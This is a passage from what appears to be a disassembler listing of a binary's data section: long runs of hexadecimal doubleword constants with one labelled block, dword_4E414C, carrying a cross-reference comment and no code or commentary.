		dd 0CD7E004Eh, 1943FBFCh, 9902289Ah, 907D66EBh,	3154E4FEh
		dd 0F3C0B768h, 61880275h, 61756E0h, 0F21178BDh,	4573137Bh
		dd 4826E5Ch, 0A9FA0077h, 1097C235h, 8296BB1Ch, 144E847h
		dd 3A05EA60h, 0C8D32A4Bh, 38AA03h, 0AD2E1228h, 2213A8A9h
		dd 147D07E8h, 5C4BDA58h, 0EC1D969Ch, 60CC5ECCh,	0C2A30033h
		dd 5277CCE3h, 7E0F346Ch, 0E264E6F7h, 5468903Bh,	3C33819Ch
		dd 6BD675FEh, 0E611D08Ch, 4B731636h, 93FCB899h,	0A0D50404h
		dd 72418802h, 0B468F8ABh, 437A20E9h, 8506DD71h,	13760221h
		dd 181B2721h, 61F6D044h, 0E2429F44h, 1C83827Dh,	19119D01h
		dd 7A3DAE22h, 0BCD0A195h, 0B9520D00h, 88BE2187h, 452C90A4h
		dd 5041F898h, 0C60E381h, 4499864Ch, 82187671h, 230B4D00h
		dd 6AB0DE2Dh, 14C42DCBh, 103DA041h, 49020E7Dh, 0B25E8CC7h
		dd 51C50064h, 0D69BAD31h, 5C10E663h, 55009C54h,	0E2B1998Fh
		dd 0B3611B4Dh, 59340A40h, 0CDA11000h, 2FB8A749h, 28C6173h
		dd 8ECB9A4h, 4C3AA495h,	0A7809B20h, 97DC4929h, 2E962701h
		dd 6F07447Ah, 0E0C8E333h, 0D3B49229h, 857E9F12h, 6742C809h
		dd 609BC454h, 0B86E1F78h, 18A302CFh, 390D515h, 168FA8D6h
		dd 0D10C095Eh, 7E9C1F64h, 2D16F140h, 40736DCh, 5EE95FB7h
		dd 724674A0h, 0BBAA4800h, 4549DE6Bh, 0B0A27009h, 0A978A108h
		dd 932FB691h, 47A4F958h, 0B900F17Dh, 1E6F67Eh, 1B6DA336h
		dd 6FC58901h, 0C55C9009h, 6092E4F8h, 1EB6D2Ah, 0FBC0516Bh
		dd 706F8F33h, 90412140h, 8F2E4831h, 0C39288DCh,	0EA95C18h
		dd 0F6CFD4F1h, 110095E0h, 6E913671h, 3D56401Bh,	68E4B7EFh
		dd 64EDE8h, 0D6C045E2h,	5C5DDC9Bh, 8401F41Eh, 1FA2B5B0h
		dd 0F8CC3C1Dh, 0C3008C72h, 0F7448225h, 0A01C1BE3h, 967E09A4h
		dd 0EB59630h, 705059F0h, 20E5BF18h, 271A0E99h, 0E831780Bh
		dd 4F618E31h, 20371290h, 788A3DE2h, 69049698h, 601007Ch
		dd 575E75FCh, 38BCD02Bh, 5C2489F2h, 7909C021h, 0BC84641Bh
		dd 0AC994054h, 300EC0B1h, 0C0A40D78h, 3B68263Fh, 0DA122D25h
		dd 0A90BA8A0h, 0D8C1CCFCh, 2AEF777Eh, 72F89C3Ch, 0A666008Ch
		dd 12D90571h, 70269F9h,	702773E7h, 11DC596Ah, 0BE07707Dh
		dd 878B31E5h, 43BC0988h, 40798C84h, 2E60AE8Eh, 807019Ch
		dd 1BBC15C7h, 323C35B4h, 10D848A0h, 884F90C5h, 1FE8A1E8h
		dd 77810701h, 0B17B8A39h, 161F870h, 86D30BBh, 0CD829C21h
		dd 7C022AE2h, 5F0696D0h, 82E56405h, 9451CFC0h, 0A8180379h
		dd 162D5A3Fh, 0A8C2E5FCh, 0DC30DC5Eh, 14FA8F07h, 0A1775679h
		dd 0FECB4E90h, 7449590Bh, 7103E802h, 0D461EBDDh, 4B0472B7h
		dd 40ABC8E4h, 39188896h, 0E9E8A42Ah, 1735000Ah,	96431260h
		dd 7260973Ah, 56E43138h, 45A4988Fh, 2F8878B0h, 919CDB0Eh
		dd 0A96800A3h, 4E958DB8h, 143C0353h, 5FD5EC22h,	0CABDCBE0h
		dd 7821132Fh, 0C8B75A20h, 4D7614CCh, 51009148h,	0BCA43C80h
		dd 74008C9Ah, 9839B52Bh, 16CCA953h, 0F45E7F33h,	3500FE00h
		dd 21B30834h, 97E6746Eh, 391B817h, 0FC8E2780h, 14B84F35h
		dd 882E9A45h, 33002A0Ch, 60C5EAA9h, 1BB4521h, 6C7705EDh
		dd 709240B7h, 9422BDCCh, 0EB043086h, 96098861h,	98C8C892h
		dd 1D748006h, 0B55E0EBDh, 4E639A0Bh, 0E9608EE5h, 8BC5EC8h
		dd 58A58B0Fh, 980E5CC4h, 8074DB5Fh, 99646675h, 0F7BDE410h
		dd 4484D872h, 0BCC0A4E6h, 73343Bh, 46B5B6FCh, 25B14E30h
		dd 34E0492Dh, 0D402E3DDh, 8DD6A189h, 0B204E49Ah, 546A09E8h
		dd 30ED9BD7h, 86A94DC0h, 0FC650B0Fh, 44070D8Ch,	102E5839h
		dd 0E4A8E56Bh, 2E6F607Fh, 0E6F91E35h, 0DDB4C564h, 420EA0Bh
		dd 4B3F1214h, 410CA434h, 9110A514h, 3A0E81ECh, 902F111Fh
		dd 0AD3619CCh, 0F1CCEB81h, 4D55048Ah, 0F0722185h, 0F912E650h
		dd 0D88D31A9h, 3478577Eh, 8D70813Ch, 0DC3C29B5h, 783DF309h
		dd 4F9D0B74h, 0B0A2F91Ch, 4D1A0504h, 6D4C60E4h,	880FAAECh
		dd 875965F4h, 0D629CD94h, 69B671DCh, 85D31F34h,	0E1A35E4Ch
		dd 61A116DDh, 0CD88E58Ah, 9D8E001Fh, 0D8B409Ch,	0A27B4Fh
		dd 4F2CC04Bh, 8A546E54h, 70CE9E0h, 50759DCFh, 0EC89D249h
		dd 8C9FBC9Ch, 14CCAE05h, 3881741Fh, 0F028EBB4h,	0AE10C0CCh
		dd 0DC14748Ah, 34770CE2h, 2C6393Ah, 265EE45Dh, 0D9F4511Dh
		dd 21D1872h, 99D26062h,	0EC7612FCh, 980CF663h, 4A8C04Fh
		dd 0FD0DDFEBh, 0CC20FA68h, 3CB9B15h, 62C499B1h,	0DFD1F13Ch
		dd 1BB9FCEBh, 875CC302h, 4CA30E39h, 868E2248h, 25DF0422h
		dd 90596482h, 0B08B5C92h, 77C09AC8h, 0B9F3CECh,	4E2C41CCh
		dd 8844182h, 0A0024CF2h, 2340376Bh, 41DC7C9Ch, 0BBC2642Fh
		dd 75108406h, 5C908736h, 78654543h, 2D960440h, 0C4B87E18h
		dd 15A44264h, 375FDEC0h, 443003CCh, 6BC8B2A1h, 0B4099F88h
		dd 0E10503FEh, 3830E91Ch, 8E04401Bh, 2689603h, 0BD0F03h
		dd 5B80D820h, 0DC6B9D64h, 11888E02h, 76137F2Ah,	9A467444h
		dd 32AD4F16h, 0CCC24EC0h, 320490FAh, 4BC13985h,	23883BBFh
		dd 7FAF018Eh, 9754E386h, 0CAC076Eh, 0F8DE8A71h,	81FCA861h
		dd 0C5E802F2h, 4D1DF064h, 0AF8B3224h, 25B444DEh, 78200490h
		dd 8D158102h, 81987982h, 32098767h, 70870575h, 8001B5B4h
		dd 3EBBFDE7h, 443760C0h, 7732170Ah, 10D8ED4Fh, 3F3FEEA7h
		dd 29A01F7h, 982ECE9Dh,	0D853D15Bh, 4C5BDEFAh, 92C12081h
		dd 2138A08h, 48F04999h,	0A23E4FCCh, 80A87D1Ch, 9A8096F5h
		dd 0D0425B39h, 801453A8h, 1B31A17h, 34388C76h, 0EA308FFAh
		dd 53862045h, 341080E8h, 61791C59h, 9C9C98E7h, 243A2D11h
		dd 99B678C0h, 474F20F0h, 399F5042h, 594DC66h, 0A63B5485h
		dd 61207BCCh, 0D04B28Ah, 764E12DEh, 4E843D81h, 820BECF2h
		dd 50266E29h, 8B1D2133h, 600A1AB9h, 23582086h, 41B74419h
		dd 859CB64Ch, 0F8FCD52Bh, 45572A02h, 0C8D31D8Ah, 0C090610Ah
		dd 6CAB7D0Bh, 0A7F52154h, 1A25BA40h, 2B4B4A6h, 6527BFFDh
		dd 0FB5E7076h, 7007D18h, 0C602FA98h, 5FAB6013h,	41E04063h
		dd 5B58FCBDh, 3884AF03h, 8873238Fh, 3835EFD4h, 1603EA2Ah
		dd 0E2B8BE45h, 0E84D8087h, 870034D5h, 0DD8A83F9h, 4478574h
		dd 86B41753h, 0CF41C364h, 3FE22100h, 31055CCh, 965D0417h
		dd 0C0C18682h, 11D85C60h, 873BEC9Ch, 0D97C9CE2h, 86711CB0h
		dd 0D07F016Eh, 0CCDFC679h, 0FAC8204Eh, 5587BF00h, 0DE4B40D1h
		dd 8C8583Eh, 9EB70070h,	0DD01FD64h, 0A72D346Eh,	5D80511Fh
		dd 3ACDC09h, 30AA676Ch,	0E11EB08h, 0BBF8067Dh, 0C4087B63h
		dd 6A1818A4h, 0CA5308A0h, 31313090h, 0F14B08CEh, 88A78C01h
		dd 0CFF2D20h, 7108446h,	6274F940h, 0D9D408F6h, 10835A03h
		dd 10076520h, 1410CD5Bh, 394E31B7h, 0C901D0EDh,	38E0106h
		dd 0CFBE0888h, 48852C0Ch, 0BDE340C2h, 0C6DDD240h, 8F72989h
		dd 20176C20h, 1920BA9Ah, 88B633D8h, 8EE4140h, 18EDFD31h
		dd 88828D2h, 0F818C00Bh, 0C8308471h, 39150E21h,	9C111884h
		dd 801EC440h, 6F815EB0h, 1AD0818Dh, 0C6A988E9h,	0F470815h
		dd 2319D319h, 8B439188h, 31D0B715h, 0C61EB1FFh,	9CF0888h
		dd 209B5F0Dh, 75107AB3h, 8C80412Ah, 20F21C20h, 3720F821h
		dd 0B6C02216h, 0A85EBC40h, 0D22CE6E4h, 40981908h, 533199F4h
		dd 885127F1h, 2088B0A7h, 0E415BF38h, 0BC7F2AECh, 20263720h
		dd 17660DB0h, 20519AE9h
		dd 7631E698h, 0DD0D4894h, 0DFD9D1B3h, 75E70912h, 29CB440Ch
		dd 8480A99Dh, 0A9B2C188h, 8B94908h, 0AB0CBEE5h,	402A3876h
		dd 19CCF184h, 404EB1CAh, 0CB40C11Fh, 0AFF54039h, 0E5812064h
		dd 88DCA90Ah, 203FEA62h, 0FBE120BBh, 6880E632h,	0FF3C4B69h
		dd 40E870ECh, 0B1C4C8D0h, 9004DC3Ah, 9730C2Fh, 8C18400Ch
		dd 0A6388964h, 2ADB4493h, 318058D1h, 0E2100CE8h, 3B08880Ah
		dd 0E0A415F3h, 0D1DE5619h, 0D50D01FCh, 11100403h, 7D18CFD6h
		dd 7231608Dh, 0B93A58CCh, 0AEA9CCF5h, 2E40CC99h, 7F824051h
		dd 0E142AA40h, 88D62501h, 18B74F08h, 153C81AFh,	811B6F80h
		dd 5A1195D2h, 0C2CF109Ch, 81C6819h, 0DC198857h,	77EC0C2Ah
		dd 0CC408D98h, 3623406Dh, 40831940h, 59C4C0B4h,	7C09FAC6h
		dd 6AA228A2h, 0D12A5C6Bh, 8C49E4C0h, 2F77820h, 49CA210h
		dd 0D3F8021Fh, 321F002h, 3032ADB4h, 48C1B14Ch, 26FAEBB4h
		dd 40A46FEAh, 16FB07D4h, 480FF24Eh, 1ED3034Ch, 0C41000EDh
		dd 9564AACCh, 0D7F26960h, 0B320A717h, 92E26040h, 19B4386h
		dd 0C881BED6h, 2B017902h, 0CCD82CE1h, 247B5B9Ch, 80E4C79Ch
		dd 0BBCFB08Dh, 2BE3531Dh, 0E41BE00h, 60D1076Ah,	621C9993h
		dd 0AA079E82h, 9A853BAFh, 0E7B73341h, 1E052CEh,	0D9DFDA88h
		dd 80A7D8EFh, 0BF70A038h, 0ACB6831h, 589DB586h,	34CD0008h
		dd 83B003EBh, 0A0C3D630h, 2206B322h, 0E81812C2h, 1680A158h
		dd 0FA34A04Ch, 5E930CD3h, 40106C0Eh, 1A51E502h,	90D91D86h
		dd 158A020h, 5446B19Bh,	4386CD5Eh, 0B38B0294h, 0ACDED5C2h
		dd 676ED083h, 0E3600CB0h, 0F0184C05h, 20555330h, 5C0B6E4Dh
		dd 0B61E282Ch, 0AF9242B9h, 9092D208h, 14EA8403h, 0A8ABC480h
		dd 8F136001h, 0C7D35C28h, 0E106B0FFh, 3D9A00D5h, 0D05D2086h
		dd 9560E007h, 0A39F1841h, 0AFB23E82h, 0BBAE700h, 0AA6E36B9h
		dd 0D6B400BDh, 2DB7C1Fh, 4D088104h, 0C643EFCEh,	90824030h
		dd 8089C5F0h, 0FE0E7388h, 6280B7BFh, 98AA82A2h,	60B56E58h
		dd 0C839D0F9h, 0A31D3E3Ah, 0CD0012D7h, 0BE1A137h, 0E50505CBh
		dd 9B1465Eh, 0B8F2849Ch, 18243C50h, 49A38F03h, 360906Eh
		dd 31820450h, 99E6AF14h, 0FEE8FA71h, 6E327A06h,	50D0ABC3h
		dd 0E6D408h, 875BC02Eh,	16CDD694h, 59F85E01h, 0DDFAA5ECh
		dd 0D78630h, 1F9D1026h,	4B5E4A25h, 0A890BE60h, 106DDCAh
		dd 899752C9h, 425A2088h, 1C10D1ACh, 0A1827D67h,	53EDE80h
		dd 449B3C08h, 15B71998h, 66400940h, 2D68DCECh, 0DE4180E0h
		dd 0BF1CD900h, 0E8AEDBFCh, 96CB621h, 48104F16h,	32988536h
		dd 0D23CC548h, 0C7020AAh, 6E12319Ah, 0A0A04EE2h, 0B027F1AAh
		dd 44B6F083h, 9B301818h, 80D56010h, 0CF4E6E4Ah,	0C686A880h
		dd 6B6F079Dh, 37A0C05Eh, 8C4A51h, 0CB46ED08h, 41F02787h
		dd 0BC3F48h, 40C428EEh,	0F84CD686h, 0AC340054h,	7EA5FCCFh
		dd 3C4C7CAEh, 800A2A6Dh, 8EA39734h, 0ADC50887h,	460010B8h
		dd 0DEDB0FA1h, 0A267485Eh, 16808870h, 48336C61h, 0D40134A8h
		dd 67FBB28h, 0A0A44114h, 92884C52h, 0CA0E1091h,	0E5FB8293h
		dd 4084FF57h, 66B083DBh, 8950B2F3h, 4760E830h, 16E3F121h
		dd 2825E927h, 615830E0h, 74BB1070h, 0E8B88614h,	154003C5h
		dd 0BC497FEFh, 9E804C50h, 1C6E065Ch, 28941814h,	0ECA60D80h
		dd 5BD05EF8h, 8A1C902Dh, 0F6246FAFh, 0A299ACB9h, 4C3FFAE0h
		dd 4FC80E10h, 86703D50h, 5E503361h, 4CE276F2h, 3C9E489Ch
		dd 71320213h, 0D16EE074h, 18046F90h, 6F03306Ch,	7920AA17h
		dd 1F90909Ah, 0C61590E2h, 286B625Eh, 2491DFF8h,	112DE509h
		dd 9020B04Ch, 26BC920Ch, 80600993h, 79164BDCh, 45125A26h
		dd 10004CF7h, 0DDEF274Dh, 0B84082A6h, 0C2462B0h, 0E90014EEh
		dd 6ECF22E2h, 5C829D58h, 2863F9D3h, 88AC6086h, 0FC080F29h
		dd 88DC5E61h, 11C1820h,	84A894B2h, 34929F65h, 0C8A80F48h
		dd 0E530CE86h, 0FEDF194Ch, 0D0EB48D1h, 289D3E15h, 2329A203h
		dd 35E8FC0Fh, 2A495EE6h, 9E744980h, 0CBAB7300h,	0F26FA1EDh
		dd 0E5949ABAh, 7FC2A002h, 0C8D74840h, 996EEF1Bh, 49CEF819h
		dd 0B050075h, 0A9092CC9h, 6775E5BAh, 60A82C90h,	0A7746C73h
		dd 0D46D8901h, 0FE80EBDAh, 0FBEF7020h, 3AE81D8h, 6EC4D5D1h
		dd 0E0143BE0h, 10C8720Ch, 4562122h, 158AF854h, 0DCB6B309h
		dd 0E359B830h, 28C06D1Ch, 0DFB30A10h, 0D2662A31h, 0B70E2488h
		dd 7C9214C7h, 6DEF7005h, 0A10959Eh, 248CFA20h, 0BDB80D0h
		dd 3AE679E1h, 0CEE54D16h, 3AAE74B0h, 5F003F43h,	0D644838Ah
		dd 115231C7h, 0C8CC24A8h, 30BADE8Ch, 322C0144h,	0DA63067Eh
		dd 49C2643h, 1F91E535h,	6142C490h, 0D1D30778h, 0C05CD407h
		dd 7B0E3370h, 54733C98h, 24201C81h, 19EF1250h, 8F1C4F9Eh
		dd 0ED684012h, 14EE46D9h, 44BEB201h, 0FC8AB8C9h, 5E00A30h
		dd 596EDFAFh, 0D8AC0345h, 3089EB11h, 5AE0603Eh,	3075092h
		dd 0BDFB5CDh, 3AE5A040h, 702E0E23h, 0FFE636CEh,	0DD7388B8h
		dd 0C287D400h, 758538AFh, 909D785Eh, 3A100730h,	40D532B3h
		dd 0E107B29Bh, 7DE49701h, 172B6E4Fh, 0F04B8087h, 0E9456011h
		dd 51E16726h, 61CDFCh, 7D9E9274h, 5899D815h, 0CCCCB31Ah
		dd 0F02A116Eh, 0F237234h, 0CBD5D359h, 0A4B664C0h, 0EF74039Bh
		dd 14CC3650h, 0C4C89559h, 4C91AF65h, 0E300D298h, 6CBA2761h
		dd 0E71220h, 0A48DD4ABh, 514916B5h, 59891F05h, 0B440EE0Fh
		dd 7034E812h, 0D47F0076h, 0C3E0D5A7h, 5828E533h, 965A94E4h
		dd 1ECC10D8h, 255203F2h, 0CD2C7860h, 859D526h, 660E5081h
		dd 2822DD07h, 8032E214h, 27FAF083h, 86EE1802h, 145245Eh
		dd 0D816D788h, 0C7050369h, 749D3DE3h, 0AC02288Dh, 6EBC48DBh
		dd 0B01952DEh, 7C80BA78h, 0F3C02CB8h, 43E48004h, 74365EE1h
		dd 0E742A09Ah, 68376E3Eh, 0DC0A0B28h, 9E9248h, 0EF743BA0h
		dd 65E9425Dh, 54F80790h, 0BE7E0018h, 2DEAAB7h, 5EC38F50h
		dd 0E4A93398h, 8008F804h, 37D193BCh, 9489950Eh,	47E12F7Ah
		dd 0AEC04EA4h, 4D9F097h, 95E7C706h, 0D1CC81FCh,	0EC933B9Dh
		dd 0E1E07F8Ah, 32EA0601h, 10410B1Ch, 2044348Fh,	0AF0B1CCAh
		dd 0E4917EBh, 4078C3AEh, 6AA79AE5h, 88940720h, 0E8EFD5B0h
		dd 2058C4CDh, 0C020A8FBh, 8281DD99h, 626E12B6h,	294F989h
		dd 32D8B312h, 90B8E4B7h, 50205100h, 0A7ED988Eh,	0E806D3C0h
		dd 9E28A05Dh, 0DD00E45Fh, 790472ABh, 3E65E3B8h,	5C0050C5h
		dd 0D33D3F87h, 96FAAA86h, 0E7074000h, 108DA075h, 0FB871A6Eh
		dd 9C88811Eh, 8088C588h, 0E04236B4h, 0E83CD0C4h, 9F14B200h
		dd 24B09AA3h, 7D91F01Bh, 60C09582h, 0F14258h, 0EDA3CC06h
		dd 0D2DC07E9h, 0AD36EFE2h, 10D859FCh, 4A269BF0h, 705DCCB8h
		dd 4008D044h, 409DDC42h, 1E847044h, 1DD0EEA2h, 0C0899EEFh
		dd 0B906E066h, 0E31DCB94h, 0CA52E57Ch, 0B0AAA800h, 0DE9229h
		dd 0A577EF06h, 55A08C2Fh, 498E33Ah, 57825EDBh, 83A05C97h
		dd 122B51EEh, 6933E7h, 0AB368DAEh, 7824A6E0h, 1610886Ch
		dd 50EC0600h, 1D4D0CA2h, 1BDA6100h, 0A64B02B3h,	2F7124A0h
		dd 69C00A3h, 7EAF50D3h,	39444D00h, 30E6542h, 0D4E4130Bh
		dd 0E36600D8h, 531D5E59h, 49888CBh, 0C414B858h,	48ECC850h
		dd 0DE9EECE3h, 0E0B5D8E5h, 0B13D7CDCh, 7639879Dh, 609F66B3h
		dd 4B99B7FBh, 6C56045Bh, 0A052E882h, 5324EF00h,	0E8A8DC55h
		dd 5298164Dh, 0C45EC7ACh
		dd 0FAD080D9h, 3F0695F9h, 2487BAC3h, 50699D6Eh,	0DAD57490h
		dd 0CE0054Ch, 48B5705Eh, 16C101D6h, 71BDA362h, 0DA2A70DFh
		dd 0A8955E18h, 19F3F50h, 2068F5Ch, 44DDD7B3h, 143092ECh
		dd 6E43BC40h, 0A94F8334h, 0F86DDCD2h, 28B66418h, 49B080CCh
		dd 504AE3EFh, 803F4821h, 24B45EC8h, 5D8439Eh, 8111AFD3h
		dd 16466804h, 1CD901B0h, 7D41BE4Ah, 430CFDE5h, 0AAA2E090h
		dd 4743C40h, 0B00FD780h, 0E5FE041Ch, 95A92466h,	0AC5482F0h
		dd 0F0B010E4h, 54566C0Fh, 8E60BBDh, 109082Ch, 2EC4CE3Ah
		dd 82101075h, 9A933F40h, 5E126452h, 1BEE9BCh, 0DFF23D18h
		dd 0AD8C3086h, 1ACE0A40h, 48DBC7EFh, 0C40008E6h, 0AC4CFB07h
		dd 306E1B39h, 0DA303C41h, 1527F10Fh, 0D1F8104Ah, 0DBE9C295h
		dd 850DEBBh, 0A8782CA0h, 984450C9h, 0B0B7B17Ch,	9E2C9918h
		dd 281E6049h, 0B24BAFDBh, 55005AEh, 0A3405C97h,	1826CD8Dh
		dd 38AF826Eh, 877EB79Eh, 0CC20F890h, 0D16500D5h, 0DF2914CEh
		dd 0A438ED06h, 1D7E8FBAh, 8C50A58h, 26ECE502h, 4C85086h
		dd 0EE9C4CD9h, 70C448h,	72EA6AE4h, 855C2569h, 0F5C82688h
		dd 16282000h, 3EB55D75h, 0E000DA80h, 0CEDD4EF3h, 1485A96h
		dd 9C044B40h, 18F4A718h, 6014596Fh, 2903E80Bh, 772CC20h
		dd 9B0252F9h, 0DAE00680h, 148070DDh, 0C820B2F0h, 0BB818588h
		dd 85AE5DBh, 8BE44085h,	0F0B442EFh, 94608847h, 0DA007685h
		dd 840DAC34h, 606E5182h, 0D80B417Ah, 48011721h,	5E6C1EC8h
		dd 0C0414EEEh, 96D89538h, 0D64B00B5h, 0A5FD07C6h, 1500B8C5h
		dd 0A0885E56h, 3C44646Dh, 662E33D9h, 35108754h,	0B73FB00Eh
		dd 3D047196h, 0FDD76EB5h, 24C740B0h, 3EF492F9h,	332B678Bh
		dd 0AFC82803h, 0E19EAA80h, 88024B0h, 8900ABD2h,	14A8A7BEh
		dd 1F19A124h, 5BAE74h, 6425B0F2h, 934A0F66h, 2DC1A834h
		dd 7BC940AAh, 1DDCCAF0h, 0BA11DF86h, 0E05F007Ch, 199838CDh
		dd 6702AE85h, 0A0826556h, 9648446Ah, 0A63A00F8h, 0DCE2C334h
		dd 8B3BEF16h, 9C69B04Dh, 3688E041h, 0E0F04E04h,	8C96C88Eh
		dd 2C30F00Ch, 0D0463811h, 5B7A2C5Eh, 0EFC9604h,	76DD9Fh
		dd 0D2EEE864h, 857137C4h, 0B5D0FE17h, 5CC52C0Fh, 250930E4h
		dd 8600868h, 5E04DE24h,	78C1AEB1h, 7430298Ah, 4EA6018Dh
		dd 15E5FAD6h, 0AF0C20E7h, 8038533Dh, 0E00F8247h, 92F64C6Eh
		dd 0E40600F4h, 0E5D78BF5h, 30C53B25h, 10C4450Eh, 0B20289Ch
		dd 66B65E61h, 2685102Eh, 0F0BC5B82h, 0C40BD688h, 7BAFDA17h
		dd 0EC485402h, 2BC7B86h, 8D6ECAD5h, 0B67CD8E8h,	0CBC03905h
		dd 84003E3Fh, 0EC25218Ah, 51D378AFh, 93FC0849h,	246099C2h
		dd 0F46E82C4h, 9640EBD3h, 0EE3BACD8h, 0E2048B1h, 444640CBh
		dd 8C4B4FEh, 2125A4F7h,	0C0795484h, 405E1BFCh, 7E88E14Ch
		dd 78E144Ch, 0DCD7B59Ah, 0ED9E9880h, 0C3E51364h, 32C4529Fh
		dd 4CC80674h, 36805F7Ch, 0CE4924E5h, 405C82E8h,	2C44579Dh
		dd 0C4E8DC48h, 20001F79h, 0E7EFD358h, 6211A062h, 0C1F062CDh
		dd 4600FC98h, 90E414EFh, 5E48A561h, 70870BCFh, 8E7C8529h
		dd 1110050Ch, 6524D8AEh, 450310B0h, 4DBBEDE5h, 257D8098h
		dd 2431AD7Dh, 380CE1E3h, 0C4049658h, 4A00BD46h,	0CE39A244h
		dd 3C5E9B13h, 0DD3D6C80h, 8890172h, 4C0F71D1h, 0FECC6032h
		dd 948E0500h, 0A26EC9D6h, 30C8C0F8h, 3C98C806h,	18E2AF3Eh
		dd 31185420h, 0EE6203EBh, 0DD8BF0A3h, 0DC827028h, 78853505h
		dd 6C05C406h, 1C8C3A44h, 4BE512EDh, 763441D4h, 205124B1h
		dd 3400DDC9h, 0E1B2659Fh, 0B85CBFEh, 1A01D26Fh,	8A499414h
		dd 0D1410064h, 7896F809h, 7CDE0740h, 9980F089h,	0AF92BCA1h
		dd 0B10AF4EBh, 0F38FEF18h, 257A0518h, 280AF9D0h, 0D8F1014Ch
		dd 28D55B6Eh, 0A0188E40h, 0E5C65E16h, 2BC1C0F9h, 8A1243A7h
		dd 5FF097F0h, 604AD1F1h, 0AE0937B0h, 0C0105EE6h, 78F4C82Ch
		dd 0BDA42898h, 0FF0707E8h, 19E10B43h, 1231F001h, 0E5BFF07Fh
		dd 88A038FAh, 0C729E32Ah, 884E87Ch, 94D012EAh, 13E8F865h
		dd 7E07E32h, 0BDA8B34h,	235E9CC0h, 0E70CE082h, 0C5EF1617h
		dd 4A28038Ch, 215E026Eh, 8CDF2433h, 34E3ECB4h, 807902FBh
		dd 1E463324h, 96E0A880h, 0E6B500F0h, 559DE7FEh,	629E8A4h
		dd 298CCCEFh, 3866C835h, 0FF000765h, 160CBED5h,	3A07595Dh
		dd 0A933F2E4h, 3ACD110h, 796A0056h, 83CA519Dh, 4603F1ECh
		dd 0DB6E12E3h, 0D2600F9Ch, 130638D5h, 0C5E9063h, 90737C20h
		dd 410D230h, 0DEF3808h,	41E0C005h, 0FABCA3A0h, 483DC2E5h
		dd 12D76004h, 8E3FC1Bh,	4D0BC0E0h, 2AA0443Fh, 0EE02D4Ah
		dd 0E5068EF3h, 8299A440h, 830B70E0h, 359E308h, 0CDAE1103h
		dd 2EE69881h, 0C282086Ch, 0C607B8DEh, 9B2AA391h, 54E8433h
		dd 0C8AA7D50h, 980FDBD0h, 846594A0h, 0BB147160h, 0E8FB4105h
		dd 0CDA80725h, 0B0C336EFh, 0B5EE303h, 0AF1767E7h, 0E0851223h
		dd 4909E5CFh, 4928AC15h, 0D4082648h, 0A89662A4h, 4CD8B601h
		dd 30AC8AE1h, 20B90F2Ch, 42EF6081h, 49309F2Fh
dword_4E414C	dd 17827B01h, 48EABE6Eh, 0AB11E630h, 73C328h, 0BD1FD618h
					; DATA XREF: ___:off_43A188o
		dd 8568CEA0h, 0AF075474h, 0F083B341h, 5F4C41C9h, 0F440420h
		dd 7D0B449h, 199977A0h,	0EF276E71h, 0E550E860h,	65981F04h
		dd 80C3164Bh, 6640DFE0h, 86D88416h, 6E0CC48Ah, 0A62831E0h
		dd 1060CF5Ch, 0E309054Bh, 6C2B7BD1h, 80DBEC05h,	0DD75BBB4h
		dd 34E8EB00h, 0AD141AABh, 83D30308h, 0D8055AE0h, 73B1188h
		dd 0AE423Dh, 0FF08887Ch, 48A1DE23h, 75246Eh, 9885A38Dh
		dd 585EE436h, 0E48A8BAh, 0A24C7040h, 8D47B2Ch, 8DC51650h
		dd 12DD9CC2h, 49A33240h, 58A4E89Ch, 11201F0Bh, 34605108h
		dd 0B2C140C5h, 85C86E12h, 9BE5BC40h, 35F2ADFh, 907B6F9Dh
		dd 1800A7A2h, 7E4CB485h, 305E60E3h, 12502135h, 0D30FA714h
		dd 0C0E8507Fh, 984F0945h, 0B02A4D02h, 0C457A0C0h, 0DAFEA681h
		dd 0E493500h, 164B3B5Dh, 928D0045h, 0DF0728B5h,	5A0FDD1Fh
		dd 0A58AE21h, 140B08E7h, 3A4CCC9Fh, 23DBBF9Eh, 44C08690h
		dd 0AA1EE639h, 0D707E396h, 0D73FEF4Ch, 319AE840h, 443B40h
		dd 5A2F3BBh, 0EFC4E649h, 0A8CEFC33h, 0C80BD8AFh, 546E1358h
		dd 0D954CC53h, 0EC4C320Eh, 5B9DA5FEh, 0E1084404h, 3F0330C1h
		dd 83D43089h, 0E82FF0D2h, 808B4Ah, 0E73D2A18h, 0DBEF31C3h
		dd 306AD071h, 16752050h, 0B03A013Dh, 0A1415282h, 0AE5F010Dh
		dd 0B2E53B63h, 795421B9h, 4EE04C84h, 0C0108855h, 6D8ACFB0h
		dd 0A070BA05h, 91E78Ch,	0DE1F13F2h, 0C659E106h,	20862E09h
		dd 98C0EC5Ch, 101154B8h, 735E106Ch, 0F0080747h,	407195B3h
		dd 0F0715896h, 0B6868A92h, 24F03BF4h, 96803030h, 84253F44h
		dd 0B6AF17D4h, 273CCAD7h, 0DFCC10DEh, 695C305Eh, 6E230918h
		dd 136C9325h, 413BC1B0h, 0CDBB1085h, 0E850B074h, 5C00D54Ah
		dd 9E430ECh, 0C0DA4AA8h, 17F6E3E0h, 0F56399C4h,	91425000h
		dd 0DE1CE60Fh, 6FC0C671h, 573B938Fh, 0E8881E63h, 6C11EF89h
		dd 79149D3Ch, 44E26E04h, 49398ACh, 5449E074h, 1BDA0014h
		dd 42BBFFBEh, 956E044Fh, 0B180EBD8h, 0F07C0818h, 8C08D400h
		dd 0D0592D87h, 0B4F44CB6h, 0E7730078h, 63E4D203h, 3E54705Eh
		dd 1703DAD0h, 0F5E5BE60h, 0F1A02DF9h, 8483600Eh, 0A0C4C615h
		dd 644983FCh, 0DC48263Ch, 0A792A86Fh, 60AE2C38h, 3203490h
		dd 0C7C620FFh, 3D916E13h, 5C21C857h, 0D0732108h, 0D008C055h
		dd 0CC224059h, 96D30700h, 0EBBFF033h, 85D11CFEh, 0F761495Eh
		dd 0DB0F5C80h, 9549FF6Eh, 18E525D0h, 91ED0694h,	0BA9E094Ch
		dd 0A8946078h, 57AB9C34h, 0EC64021Ch, 500986E0h, 0FE082924h
		dd 0EC18A5E0h, 0B66B025Eh, 0D7D8C058h, 1E3033EFh, 40058851h
		dd 34436D89h, 64239C89h, 60385C2Fh, 0B002C706h,	3D03DCFFh
		dd 0ECDC634Fh, 8C220208h, 40661605h, 60825C6Ah,	97B52014h
		dd 0DF240648h, 2011C4DDh, 0A0607325h, 905C414Fh, 3850FE5h
		dd 0B88AAACEh, 0DD82984Ah, 8E943A5Eh, 1E581A8h,	502D8621h
		dd 92F9FA82h, 5E18C47Ah, 8830B905h, 2F6E1BCCh, 8CF7E86Dh
